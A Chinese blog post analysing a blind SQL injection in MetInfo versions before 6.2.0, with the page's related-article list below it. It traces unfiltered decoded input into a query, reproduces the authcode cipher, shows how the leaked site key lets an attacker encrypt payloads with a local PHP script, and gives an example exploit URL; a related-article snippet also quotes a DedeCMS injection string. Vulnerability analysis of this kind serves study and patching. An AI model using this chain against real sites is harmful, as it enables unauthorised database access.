0x01

 此漏洞是由于未将decode解码后的数据过滤,而直接带入SQL语句中,从而导致SQL盲注漏洞。

0x02

 漏洞分析:此处复现为metinfo6.1.3版本,漏洞最初产生为:/app/system/user/web/register.class.php 94~107行:

 可以看到此函数将 GET,POST,COOKIE,过来的数据经过decode解码后直接赋值给$username变量,然后将此变量带入get_user_valid()函数,跟进:

 可以看到有将此可控变量引入get_user_by_username()函数,跟进:

再次跟进get_user_by_nameid()函数:

此处可以看到,这条SQL语句将未过滤的变量直接带入SQL查询中,于是产生SQL注入漏洞。此处回过头在看看decode函数内容,然后构造payload。

可以看到decode函数与encode函数都会将数据引入authcode函数中,查看此函数:

public function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0){
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
} for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
} if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
}else{
return $keyc.str_replace('=', '', base64_encode($result));
}
}

 再看次函数必须的一个参数$this->auth_key = $_M['config']['met_webkeys'];

此处可以看到$_M['config']['met_webkeys']是取随机数,然后在写入config_safe.php中,但此处有一个致命的问题,就是<?php后面没有空格是无法解析的,于是可以查看的到此随机数。

于是,有了$this->auth_key = $_M['config']['met_webkeys']的值之后,就可以随意通过此加密算法构造payload。首先将authcode()函数的内容拷贝至本地,如下:

<?php
public function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0){
$ckey_length = 4;
$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
for($j = $i = 0; $i < 256; $i++) {
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
} for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
} if($operation == 'DECODE') {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
return '';
}
}else{
return $keyc.str_replace('=', '', base64_encode($result));
}
}
print_r(urlencode(authcode($_GET['str'],'ENCOUDE',$_GET['key'],0)));
?>

 稍作更改,访问此文件,$_GET['str']的值为payload,$_GET['key']的值为config_safe.php中的内容,可获取一个加密后的数据,然后将此数据通过GET,POST,COOKIE等方式传入,即可成功利用漏洞。

首先如上图,获取加密后的payload数据。然后访问漏洞函数,并且将此数据传入:

http://localhost/metinfo6.1.3/admin/index.php?n=user&m=web&c=register&a=doemailvild&p=45dd78Y9dDtrokkqvc%2FCDfyxHbPjk5YL9vokbnG%2Fm819%2Fd1pgL8GbvW5dEQGOQ

漏洞利用成功。

此处附上EXP:https://www.cnblogs.com/Spec/p/10735432.html

metinfo小于v6.2.0版本通杀SQL盲注漏洞分析的更多相关文章

  1. metinfo小于v6.2.0版本SQL盲注利用脚本

    #coding=utf-8 import requests import re import sys import time #获取config_safe.php中的 key def getKey(u ...

  2. DedeCMS全版本通杀SQL注入漏洞利用代码及工具

    dedecms即织梦(PHP开源网站内容管理系统).织梦内容管理系统(DedeCms) 以简单.实用.开源而闻名,是国内最知名的PHP开源网站管理系统,也是使用用户最多的PHP类CMS系统,近日,网友 ...

  3. vBulletin 5.x 版本通杀远程代码执行漏洞复现

    漏洞介绍 vBulletin中存在一个文件包含问题,可使恶意访问者包含来自 vBulletin 服务器的文件并且执行任意 PHP 代码.未经验证的恶意访问者可通过向index.php发出包含 rout ...

  4. DedeCMS全版本通杀SQL注入漏洞利用代码

    EXP: Exp:plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\'   or mid=@`\'` /*!50000u ...

  5. CVE-2017-11882 POC 全版本通杀

    POC https://github.com/embedi/CVE-2017-11882

  6. Yii 2.0版本调试输出SQL语句

    项目是基于框架Yii 2.0开发的. 今天梳理一些数据统计功能代码的时候,想把当前运行的sql语句打印出来,然后放到navicat工具里面运行,并分析一下运行效率和调优方案,之前大部分时候都是写增加. ...

  7. 【代码审计】LaySNS_v2.2.0 System.php页面存在代码执行漏洞分析.

      0x00 环境准备 LaySNS官网:http://www.laysns.com/ 网站源码版本:LaySNS_v2.2.0 程序源码下载:https://pan.lanzou.com/i0l38 ...

  8. PHPCMS V9.6.0 SQL注入漏洞分析

    0x01 此SQL注入漏洞与metinfo v6.2.0版本以下SQL盲注漏洞个人认为较为相似.且较为有趣,故在此分析并附上exp. 0x02 首先复现漏洞,环境为: PHP:5.4.45 + Apa ...

  9. FineUIPro/Mvc/Core v6.1.0 发布了!

    FineUIPro/Mvc/Core v6.1.0 正式发布了(2019-12-25),这个版本主要是BUG修正,并增加了一些新特性,建议升级到此版本. 在列举新版本特性之前,我们先来回顾下每次发布大 ...

随机推荐

  1. 工作中使用mongodb

    写了一个mongodb的基类 1 <?php 2 3 namespace BI\Service\MongoDB; 4 5 use MongoDB\Driver\BulkWrite; 6 use ...

  2. Java基础教程——缓冲流

    缓冲流 "缓冲流"也叫"包装流",是对基本输入输出流的增强: 字节缓冲流: BufferedInputStream , BufferedOutputStream ...

  3. 如何让文科生5分钟写上Python

    序言 这篇文章是转型后发表的第一篇文章,有必要先聊一下我的写文计划. 串行文章和并行文章 我会按照发文顺序分为串行文章和并行文章.Python 语言本身的内容,我会按照入门.进阶.原理的顺序依次展开. ...

  4. 详解docker部署SpringBoot及如何替换jar包

    关于docker的安装和使用,可以看看之前这两篇文章.Docker从安装部署到Hello World和Docker容器的使用和连接.这篇文章主要介绍如何在docker上部署springboot项目.关 ...

  5. WireShark抓包分析以及对TCP/IP三次握手与四次挥手的分析

    WireShark抓包分析TCP/IP三次握手与四次挥手 Wireshark介绍: Wireshark(前称Ethereal)是一个网络封包分析软件.功能十分强大,是一个可以在多个操作系统平台上的开源 ...

  6. wirshark找不到本地接口

    解决方法: 1.以管理员权限运行wireshark 2.以管理员身份运行cmd,输入net start npf,打开网络抓包服务,运行wireshark legacy,选择要抓包的网卡

  7. CSP2020复赛游记

    CSP2020复赛游记 由于本蒟蒻侥幸通过PJ和TG的分数线并且侥幸的拿了一等,所以侥幸的来参加复赛 11.04~11.05 期中考,挂 11.06 对答案,炸 11.07 开始了第一次CSP复赛 坐 ...

  8. 在 CentOS 7 安装 Tomcat

    一. 安装 JDK 8 1.1 下载 JDK 8 cd /opt/ wget --no-cookies --no-check-certificate --header "Cookie: gp ...

  9. 20190712_mysql执行sql脚本语句_Failed to open file_error

    要说执行sql脚本语句不难 就下面这条语句: 进入mysql安装目录下的bin目录 然后执行: \mysql –u用户名 –p密码 –D数据库<[sql脚本文件路径全名] 比如: C:\MySQ ...

  10. Python音视频开发:消除抖音短视频Logo和去电视台标

    ☞ ░ 前往老猿Python博文目录 ░ 一.引言 对于带Logo(如抖音Logo.电视台标)的视频,有三种方案进行Logo消除: 直接将对应区域用对应图像替换: 直接将对应区域模糊化: 通过变换将要 ...